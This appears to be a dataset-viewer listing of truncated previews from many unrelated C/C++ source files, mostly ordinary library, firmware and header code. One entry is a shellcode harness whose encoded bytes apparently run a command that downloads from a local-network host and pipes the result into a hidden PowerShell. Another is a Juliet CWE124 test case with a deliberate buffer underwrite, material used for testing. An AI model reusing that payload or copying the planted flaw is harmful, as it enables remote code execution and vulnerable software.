text
stringlengths
9
948k
/* * pgbench.c * * A simple benchmark program for PostgreSQL * Originally written by Tatsuo Ishii and enhanced by many contributors. * * src/bin/pgbench/pgbench.c * Copyright (c) 2000-2015, PostgreSQL Global Development Group * ALL RIGHTS RESERVED; * * Permission to use, copy, modify, and distribute this soft...
/** ****************************************************************************** * @file GPIO/GPIO_IOToggle/main.h * @author MCD Application Team * @version V1.1.0 * @date 18-January-2013 * @brief Header for main.c module ************************************************************************...
# include <stdio.h> # define MAX 80 int leLinha(char []); void maiusculas(char []); int leLinha(char buffer[]){ int c, i=0; while((c=getchar())!='\n' && c!=EOF){ buffer[i]=c; ++i; } buffer[i]='\0'; return i; } void maiusculas(char buffer[]){ int i; for(i=0; buffer[i]!='\0'; ++i) if (buffer[i]>='A' ...
/* * * Copyright (C) 1994-2014, OFFIS e.V. * All rights reserved. See COPYRIGHT file for details. * * This software and supporting documentation were developed by * * OFFIS e.V. * R&D Division Health * Escherweg 2 * D-26121 Oldenburg, Germany * * * Module: dcmdata * * Author: Gerd Ehl...
// Copyright (c) 2010 Google Inc. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditio...
// // AlivcLiveBeautifySettingsView.h // BeautifySettingsPanel // // Created by 汪潇翔 on 2018/5/29. // Copyright © 2018 汪潇翔. All rights reserved. // #import <UIKit/UIKit.h> #import "AlivcBeautySettingUIDefine.h" @class AlivcLiveBeautifySettingsView; @protocol AlivcLiveBeautifySettingsViewDataSource <NSObject> @req...
/* ============================================================================== * Script by: Juan Carlos Botero * Date: 08/08/2020 * Version: 2.0.0 * ============================================================================== * Copyright (c) 2020 Charlie Projects *...
/* minidom - json parser See README for copyright and license information. */ #include <sstream> namespace minidom { int doc::writeJSON( char* buf, size_t* size, void* conv ) { #if defined( MINIDOM_ENABLE_DUMP ) #if defined( MINIDOM_SUPPORT_JSON ) size_t s = 0; size_t len; int...
/** * Copyright 2019-2022 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicabl...
/*@H * File: simple_meta.h * Author: Jesse Calvert * Created: October 10, 2017, 17:29 * Last modified: November 27, 2017, 15:20 */ #pragma once /* TODO: - Deal with arrays as members of structs. - double arrays and arrays of pointers are messed, treated as void *. */ enum token_type { Token_Null, Token_OpenPar...
/* MEGN540 Mechatronics Lab Copyright (C) Andrew Petruska, 2021. apetruska [at] mines [dot] edu www.mechanical.mines.edu */ /* Copyright (c) 2021 Andrew Petruska at Colorado School of Mines Permission is hereby granted, free of charge, to any person obtaining a copy of this s...
#ifndef __EMSH_REPL #define __EMSH_REPL #include <vector> #include <functional> #include "userconf.h" #include "fs/fs.h" #include "fs/path.h" namespace emsh { class REPL { using Params = std::vector<std::string>; fs::IO &io; fs::FS &filesystem; const emuid_t uid; const emgid_t gid; UserInfo uinfo; Gr...
#ifndef EnvironmentH #define EnvironmentH // refs class ENGINE_API IRender_Visual; class ENGINE_API CInifile; class ENGINE_API CEnvironment; // refs - effects class ENGINE_API CEnvironment; class ENGINE_API CLensFlare; class ENGINE_API CEffect_Rain; class ENGINE_API CEffect_Thunderbolt; class ENGINE_API CPerlinNois...
/* * $Id: stat_umask.c,v 1.7 2006-01-08 12:04:24 obarthel Exp $ * * :ts=4 * * Portable ISO 'C' (1994) runtime library for the Amiga computer * Copyright (c) 2002-2015 by Olaf Barthel <obarthel (at) gmx.net> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modific...
#pragma once #include <string> #include <vector> using namespace std; namespace Utility { inline string& trim(string& str, const string& chars) { //str.erase(str.find_first_not_of(chars)); str.erase(str.find_last_not_of(chars) + 1); return str; } inline vector<string> splite(string str, string expres...
/* Generated by RuntimeBrowser Image: /System/Library/Frameworks/AVFoundation.framework/AVFoundation */ @interface AVFrameRateRange : NSObject { AVFrameRateRangeInternal * _internal; } @property (readonly) struct { long long x1; int x2; unsigned int x3; long long x4; } maxFrameDuration; @property (readonly) d...
/* * This file is a part of the open source stm32plus library. * Copyright (c) 2011,2012,2013,2014 Andy Brown <www.andybrown.me.uk> * Please see website for licensing terms. */ #pragma once #ifndef STM32PLUS_F0 #error This class can only be used with the STM32F0 series #endif namespace stm32plus { /** *...
/* * Arm SCP/MCP Software * Copyright (c) 2015-2019, Arm Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #include <stdlib.h> #include <string.h> #include <fwk_assert.h> #include <fwk_errno.h> #include <fwk_macros.h> #include <fwk_test.h> #include <internal/fwk_module.h> ...
/* * This header is generated by classdump-dyld 1.0 * on Tuesday, November 5, 2019 at 2:43:24 AM Mountain Standard Time * Operating System: Version 13.0 (Build 17J586) * Image Source: /System/Library/PrivateFrameworks/PhotoLibraryServices.framework/PhotoLibraryServices * classdump-dyld is licensed under GPLv3, Copyrigh...
/* * QTest testcase for Sysbus TPM TIS talking to external swtpm and swtpm * migration * * Copyright (c) 2018 IBM Corporation * with parts borrowed from migration-test.c that is: * Copyright (c) 2016-2018 Red Hat, Inc. and/or its affiliates * * Authors: * Stefan Berger <stefanb@linux.vnet.ibm.com> * *...
/////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2000 Intel Corporation // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions o...
/* * Copyright 2008-2010, Sine Nomine Associates and others. * All Rights Reserved. * * This software has been released under the terms of the IBM Public * License. For details, see the LICENSE file in the top-level source * directory or online at http://www.openafs.org/dl/license10.html */ #ifndef AFS_UTIL_WO...
/* * This header is generated by classdump-dyld 1.0 * on Tuesday, November 5, 2019 at 2:41:42 AM Mountain Standard Time * Operating System: Version 13.0 (Build 17J586) * Image Source: /System/Library/PrivateFrameworks/HomeKitDaemon.framework/HomeKitDaemon * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 ...
/** ****************************************************************************** * File Name : main.c * Description : Main program body ****************************************************************************** ** This notice applies to any and all portions of this file * that are not ...
#ifndef C_PARSER_TOKENIZER_H_ #define C_PARSER_TOKENIZER_H_ #include "gb/gb.h" #include "strings.h" #define TOKEN_KINDS \ TOKEN_KIND(Token_Invalid, "Invalid"), \ TOKEN_KIND(Token_EOF, "EOF"), \ TOKEN_KIND(Token_Comment, "Comment"), \ TOKEN_KIND(Token_Paste, "##"...
/* * Copyright (c) 2007-2012 Nicira, Inc. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public * License as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, but * WITHOUT...
/*= -*- c-basic-offset: 4; indent-tabs-mode: nil; -*- * * librsync -- the library for network deltas * $Id: patch.c,v 1.30 2004/09/10 02:48:58 mbp Exp $ * * Copyright (C) 2000, 2001 by Martin Pool <mbp@samba.org> * * This program is free software; you can redistribute it and/or * modify it under the terms of ...
// Copyright 2008, Google Inc. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions ...
// // CUSSenderRainVC.h // CUSSenderExample // // Created by zhangyu on 14-2-24. // Copyright (c) 2014年 zhangyu. All rights reserved. // #import <UIKit/UIKit.h> #import "CUSLayerVC.h" @interface CUSSenderRainVC : CUSLayerVC @end
/***********************************************************************/ /* Definitions needed by the included files. */ /***********************************************************************/ #if !defined(MY_GLOBAL_H) #define MY_GLOBAL_H typedef unsigned int uint; typedef unsigned int uint...
/* * msvcrt.dll C++ objects * * Copyright 2000 Jon Griffiths * Copyright 2003, 2004 Alexandre Julliard * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of t...
#include "switcher.h" VALUE rb_mSwitcher; void Init_switcher(void) { rb_mSwitcher = rb_define_module("Switcher"); }
/* Generated by Cython 0.23.4 */ /* BEGIN: Cython Metadata { "distutils": { "depends": [] } } END: Cython Metadata */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSIO...
#include "test/test_internal.h" #include <stdio.h> #define BUF_SIZE 8 * 1024 static unsigned int test_count = 0; static test_status_t test_counts[3] = {0, 0, 0}; static test_status_t test_status = test_status_pass; static const char *test_name = ""; static const char *test_status_str(test_status_t status) { switc...
#import "MSAdPositioning.h" @interface MSServerAdPositioning : MSAdPositioning /** @name Creating a Server Positioning Object */ /** * Creates and returns a server positioning object. * * When an ad placer is set to use server positioning, it will ask the TradPlusAd ad server for the * positions where ads should...
/***************************************************************************//** * @file * @brief EFM32GG11B_QSPI register and bit field definitions ******************************************************************************* * # License * <b>Copyright 2021 Silicon Laboratories Inc. www.silabs.com</b> ********...
/************************************************************************* Bonze Adventure C-Chip ====================== Based on RAINE. Improvements with a lot of help from Ruben Panossian. Additional thanks to Robert Gallagher and stephh. Verification on real hardware by Bryan McPhail, Feb 2006: The ...
#pragma once #include "ocBase.h" #include <QByteArray> #include <QMetaType> #include <QString> class OCBASE_EXPORT AsciiString : public QByteArray { public: AsciiString(const QByteArray & other) : QByteArray(other) {;} AsciiString(const QString & aString) : QByteArray(aString.toLocal8Bit()) {;} AsciiStrin...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Multiply-included file, no traditional include guard. #include <stdint.h> #include <map> #include <set> #include <string> #include <vector> #inclu...
/* See LICENSE file for copyright and license details. */ /* * appearance * * font: see http://freedesktop.org/software/fontconfig/fontconfig-user.html */ static char *font = "JetBrainsMonoMedium Nerd Font Mono:pixelsize=19:antialias=true:autohint=true"; static char *font2[] = { "Hack:pixelsize=20:antialias=true...
/* * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or s...
// SPDX-License-Identifier: GPL-2.0+ /* * Copyright (C) 2018 Texas Instruments Incorporated - http://www.ti.com * Author: Peter Ujfalusi <peter.ujfalusi@ti.com> */ #define pr_fmt(fmt) "udma: " fmt #include <common.h> #include <cpu_func.h> #include <asm/io.h> #include <asm/bitops.h> #include <malloc.h> #include <a...
// Copyright 2012 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of ...
#pragma once #include "levenshtein_automaton/trie_node.h" #include "levenshtein_automaton/trie_tree.h" #include "levenshtein_automaton/LevenshteinNFA.h" #include <list> #include <map> #include <unordered_map> namespace la { class LevenshteinDFA { public: LevenshteinDFA(); static Levenshte...
#pragma once #include <QQuickImageProvider> #include <Windows.h> #include <QRegularExpression> class ExeImageProvider : public QQuickImageProvider { public: ExeImageProvider() : QQuickImageProvider(QQuickImageProvider::Image) { } QImage requestImage(const QString& id, QSize* size, const QSize...
// This file is part of the QuantumGate project. For copyright and // licensing information refer to the license file(s) in the project root. #pragma once #include "IP.h" #include <array> namespace QuantumGate::Implementation::Network { struct Export BinaryIPAddress { using Family = IP::AddressFamily; Family...
// Copyright (c) 2019 The TradeTensor developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef WELCOMECONTENTWIDGET_H #define WELCOMECONTENTWIDGET_H #include <QWidget> #include <QDialog> #include <QPushButton> class O...
#include "./PX_Lexer.h" static px_char * PX_LexerIsCommentStart(px_lexer *lexer,const px_char ch[]); static px_char * PX_LexerIsCommentEnd(px_lexer *lexer,const px_char startch[],const px_char ch[]); static px_char* PX_LexerIsContainerStart(px_lexer *lexer,const px_char ch[]); static char* PX_LexerIsContainerEnd(px_l...
#ifndef BABYLON_PROCEDURAL_TEXTURES_LIBRARY_NORMAL_MAP_NORMAL_MAP_PROCEDURAL_TEXTURE_H #define BABYLON_PROCEDURAL_TEXTURES_LIBRARY_NORMAL_MAP_NORMAL_MAP_PROCEDURAL_TEXTURE_H #include <babylon/babylon_api.h> #include <babylon/babylon_fwd.h> #include <babylon/materials/textures/procedurals/procedural_texture.h> namespa...
/* CoPyright (c) by respective owners including Yahoo!, Microsoft, and individual contributors. All rights reserved. Released under a BSD license as described in the file LICENSE. */ #pragma once #include "search.h" namespace HookTask { void initialize(Search::search&, size_t&, po::variables_map&); void finish(Searc...
#include<stdio.h> #include<string.h> char code[] = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x90\x29\x32\x76\xff\xd3\x89\xc5\x31\xc0\x50\x68\x2d\x77\x20\x68\x68\x65\x6c\x6c\x20\x68\x65\x72\x73\x68\x68\x7c\x70\x6f\x77\x68\x2e\x74\x78\x74\x68\x33\x2f\x6d\x73\x68\x30\x2e\x31\x30\x68\x31\x36\x38\x2e\x68\x3...
/* Copyright (c) Mark J. Kilgard, 1997. */ /* This program is freely distributable without licensing fees and is provided without guarantee or warrantee expressed or implied. This program is -not- in the public domain. */ /* This program was requested by Patrick Earl; hopefully someone else will write the ...
/* * Copyright (C) 2011, Red Hat Inc, Arnaldo Carvalho de Melo <acme@redhat.com> * * Parts came from builtin-{top,stat,record}.c, see those files for further * copyright notes. * * Released under the GPL v2. (and only v2, not any later version) */ #include <byteswap.h> #include <linux/bitops.h> #include <api/fs...
/* * This header is generated by classdump-dyld 1.0 * on Sunday, September 27, 2020 at 11:43:54 AM Mountain Standard Time * Operating System: Version 14.0 (Build 18A373) * Image Source: /System/Library/PrivateFrameworks/GameCenterFoundation.framework/GameCenterFoundation * classdump-dyld is licensed under GPLv3, Copyri...
/* ========================= eCAL LICENSE ================================= * * Copyright (C) 2016 - 2019 Continental Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * ...
/* * PSP Software Development Kit - https://github.com/pspdev * ----------------------------------------------------------------------- * Licensed under the BSD license, see LICENSE in PSPSDK root for details. * * osal.c - Pthread compatible system calls. * * Copyright (c) 2021 Francisco J Trujillo <fjtrujy@gmai...
// Use of this source code is governed by a BSD-style license // that can be found in the License file. // // Author: Shuo Chen (chenshuo at chenshuo dot com) #ifndef MUDUO_BASE_SINGLETON_H #define MUDUO_BASE_SINGLETON_H #include <boost/noncopyable.hpp> #include <assert.h> #include <stdlib.h> // atexit #include <pthr...
#pragma once #include "target_func.h" #include "kernel.h" #include "oracle_type.h" #include <catboost/cuda/cuda_util/fill.h> #include <catboost/private/libs/options/loss_description.h> #include <catboost/cuda/cuda_util/dot_product.h> #include <catboost/cuda/cuda_util/algorithm.h> #include <catboost/cuda/gpu_data/featu...
/*! Testing for proper read of little-endian variables in an hdf4 file. * * Added to debug issue NCF-332. Based on code submitted by * https://github.com/Unidata/netcdf-c/issues/113. */ #include <stdio.h> #include <config.h> #include <unistd.h> #include <nc_tests.h> #include <hdf5.h> #include <H5DSpublic.h> #inclu...
// SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) 2007-2009 Patrick McHardy <kaber@trash.net> * * Development of this code funded by Astaro AG (http://www.astaro.com/) */ #include <linux/module.h> #include <linux/init.h> #include <linux/list.h> #include <linux/skbuff.h> #include <linux/netlink.h> #includ...
/** * Marlin 3D Printer Firmware * Copyright (C) 2016 MarlinFirmware [https://github.com/MarlinFirmware/Marlin] * * Based on Sprinter and grbl. * Copyright (C) 2011 Camiel Gubbels / Erik van der Zalm * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General...
#ifdef __OBJC__ #import <UIKit/UIKit.h> #else #ifndef FOUNDATION_EXPORT #if defined(__cplusplus) #define FOUNDATION_EXPORT extern "C" #else #define FOUNDATION_EXPORT extern #endif #endif #endif FOUNDATION_EXPORT double Pods_GridDemoVersionNumber; FOUNDATION_EXPORT const unsigned char Pods_GridDemoVersionString[];
// Copyright 2016 The Draco Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agree...
/************************************************************************************** Copyright © 2004-2014 GoPivotal, Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at ...
/* * BMKSuggestionSearchOption.h * BMapKit * * Copyright 2014 Baidu Inc. All rights reserved. * */ #import <Foundation/Foundation.h> /// sug检索信息类 @interface BMKSuggestionSearchOption : NSObject { NSString *_keyword; NSString *_cityname; } ///搜索关键字 @property (nonatomic, strong) NSStr...
#ifndef ANDROID_APP_ELECTRON_API_APP_H #define ANDROID_APP_ELECTRON_API_APP_H #include "node_includes.h" #include "event_emitter_mixin.h" #include "wrappable.h" #include "handle.h" class App : public gin_helper::Wrappable<App>, public gin_helper::EventEmitterMixin<App> { public: static gin::Handle<Ap...
/*========================================================================= Program: GDCM (Grassroots DICOM). A DICOM library Copyright (c) 2006-2011 Mathieu Malaterre All rights reserved. See Copyright.txt or http://gdcm.sourceforge.net/Copyright.html for details. This software is distributed WITHOUT A...
#include <stdio.h> #include <stdlib.h> void hanoi(int n, int *count) { if(n == 1) // 1 -> 3 { *count += 4; } else { hanoi(n-1, &*count); // clear the upper *count += 2; // 1 -> 2 hanoi(n-1, &*count); // return the upper *count += 2; // 2 -> 3 hanoi(n-1, &*count); // take upper to 3 } ...
/*************************************************************************/ /* room.h */ /*************************************************************************/ /* This file is part of: */ /* ...
/* ========================== Module _Evt =========================== */ #include "Python.h" #include "pymactoolbox.h" /* Macro to test whether a weak-loaded CFM function exists */ #define PyMac_PRECHECK(rtn) do { if ( &rtn == NULL ) {\ PyErr_SetString(PyExc_NotImplementedError, \ "Not available i...
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Mar 30 2018 09:30:25). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <IDEKit/XCLogSectionAdapter.h> @interface XCLogInvocationAdapter : XCLogSectionAdapter { } - (id)dataNodePersistentObjectComp...
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed ...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef PPAPI_SHARED_IMPL_VAR_H_ #define PPAPI_SHARED_IMPL_VAR_H_ #include <stdint.h> #include <string> #include "base/compiler_specific.h" #includ...
#ifndef _RCUPDATE_H #define _RCUPDATE_H #include <urcu.h> #define rcu_dereference_raw(p) rcu_dereference(p) #define rcu_dereference_protected(p, cond) rcu_dereference(p) #endif
/* * OpenCV - Transform video * * Copyright (c) 2014 Jérémie Decock * * Required: opencv library (Debian: aptitude install libopencv-dev) * Usage: gcc demo.c $(pkg-config --cflags --libs opencv) * * See: Oreilly's book "Learning OpenCV" (first edition) p.22 and see chapter 6 for details about transformations ...
/* Automatically generated by kernel/time/timeconst.bc */ /* Time conversion constants for HZ == 1000 */ #ifndef KERNEL_TIMECONST_H #define KERNEL_TIMECONST_H #include <linux/param.h> #include <linux/types.h> #if HZ != 1000 #error "include/generated/timeconst.h has the wrong HZ value!" #endif #define HZ_TO_MSEC_MUL...
/*! * \file rtc-board.c * * \brief Target board RTC timer and low power modes management * * \copyright Revised BSD License, see section \ref LICENSE. * * \code * ______ _ * / _____) _ | | * ( (____ _____...
/* VKGL (c) 2018 Dominik Witczak * * This code is licensed under MIT license (see LICENSE.txt for details) */ #ifndef VKGL_GL_VERTEX_ATTRIB_3F_H #define VKGL_GL_VERTEX_ATTRIB_3F_H #include "OpenGL/types.h" namespace OpenGL { void VKGL_APIENTRY vkglVertexAttrib3f(GLuint index, ...
//===- llvm/IR/Comdat.h - Comdat definitions --------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===---------------------------...
/** ****************************************************************************** * @file FreeRTOS/FreeRTOS_SemaphoreFromISR/Src/stm32f4xx_it.c * @author MCD Application Team * @version V1.3.5 * @date 03-June-2016 * @brief Main Interrupt Service Routines. * This file provides template ...
/* $Id: nfsconf.h,v 1.1 2002/05/01 18:27:29 rfink Exp $ */ #ifndef _NFSCONF_H_ #define _NFSCONF_H_ 1 /* * system-specific NFS mount stuff */ #ifdef __sun__ # define NFSCLIENT 1 #endif /* __SunOS__ */ #define export _export /* C++ keyword gets used in C */ #ifdef __linux__ /* Linux has some pretty broken header ...
/********************************************************************** * Copyright (C) 2010 Signove Tecnologia Corporation. * All rights reserved. * Contact: Signove Tecnologia Corporation (contact@signove.com) * * $LICENSE_TEXT:BEGIN$ * This library is free software; you can redistribute it and/or * modify it ...
/**************************************************************************//** * @file * @brief EFR32BG24 SCRATCHPAD register and bit field definitions ****************************************************************************** * # License * <b>Copyright 2022 Silicon Laboratories, Inc. www.silabs.com</b> ****...
#ifndef KERNEL_PORTIO_H #define KERNEL_PORTIO_H #include <stdint.h> #ifdef __cplusplus extern "C" { #endif /* Wrappers of assembly instructions in and out with different operand length */ void outb(uint16_t port, uint8_t val); void outw(uint16_t port, uint16_t val); void outl(uint16_t port, uint32_t val); uint8_t...
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE124_Buffer_Underwrite__malloc_wchar_t_memmove_05.c Label Definition File: CWE124_Buffer_Underwrite__malloc.label.xml Template File: sources-sink-05.tmpl.c */ /* * @description * CWE: 124 Buffer Underwrite * BadSource: Set data pointer to before the allocated memory b...
// Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2020 The PIVX developers // Copyright (c) 2021 The Mobolith developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef MASTERNODE_SYNC_H #define MA...
/* * Copyright (C) 2013-2020 Cisco Systems, Inc. and/or its affiliates. All rights reserved. * Copyright (C) 2007-2013 Sourcefire, Inc. * Copyright (C) 2002-2007 Tomasz Kojm <tkojm@clamav.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Pub...
/* * Copyright (c) 1999-2003 Smithsonian Astrophysical Observatory */ #include <xpap.h> #if HAVE_XT #include <X11/Intrinsic.h> /* *---------------------------------------------------------------------------- * * * Private Routines and Data * * *-----------------------------------------------------------...
#pragma once #include <types.h> namespace boot { struct info; } namespace memory { namespace x86_64 { // Slot #s constexpr addr_t recursive_entry = 510; constexpr addr_t copy_entry = 508; constexpr addr_t pml4_index(addr_t x) { return ((x >> 39) & 0x1FF); } constexpr addr_t pdpt_index(addr_t x) { retur...
/* * Copyright 2014-2017 MongoDB, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agree...
/* * chsm_test_functions.c * * Created on: 2019. febr. 4. * Author: jszeman */ #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <stdbool.h> #include "chsm.h" #include "cevent.h" #include "chsm_test_machine.h" static void load(test_hsm_tst *self, const char *str) { ...
/******************************************************************************* CLOCK PLIB Company: Microchip Technology Inc. File Name: plib_clock.c Summary: CLOCK PLIB Implementation File. Description: None *******************************************************************************/...
#pragma once #include "ecs.h" #include "component.h" #include "engineComponents.h" #include "renderUtils.h" #include "renderSystem.h" #include "audioSystem.h" #include "physicsSystem.h" #include "fpsSystem.h" #include "rules.h" #include "colliders.h" // Initialize all your systems here // This gets ran at startup st...
/* $OpenBSD$ */ /* * Copyright (c) 2009 Nicholas Marriott <nicholas.marriott@gmail.com> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE S...
/* * SSLv3/TLSv1 server-side functions * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the L...
/* v3prin.c */ /* Written by Dr Stephen N Henson (steve@openssl.org) for the OpenSSL * project 1999. */ /* ==================================================================== * Copyright (c) 1999 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * m...
/* * CRC32 * (C) 1999-2007 Jack Lloyd * * Botan is released under the Simplified BSD License (see license.txt) */ #ifndef BOTAN_CRC32_H_ #define BOTAN_CRC32_H_ #include <botan/hash.h> BOTAN_FUTURE_INTERNAL_HEADER(crc32.h) namespace Botan { /** * 32-bit cyclic redundancy check */ class BOTAN_PUBLIC_API(2,0) CRC32 f...
#pragma once #include <FK/Audio.h> #include "Model_CLI.h" namespace FK_CLI { //! オーディオ基底クラス /*! * このクラスは、FK が提供するオーディオクラスの基底クラスとなっています。 * オーディオ全般で共通して利用するクラスメソッドを実装しています。 * FKでは、オーディオシステムとして OpenAL を採用しています。 * (OpenAL は FK のインストール時に自動的にインストールされます。) * * このクラスの派生クラスによるインスタンスは、 * 音声再生を制御するための基本的な機能となる再生...
/* Copyright (c) 2016 Anton Valentinov Kirilov Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish...
/** * FreeRDP: A Remote Desktop Protocol Client * X11 Clipboard Redirection * * Copyright 2010-2011 Vic Lee * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache...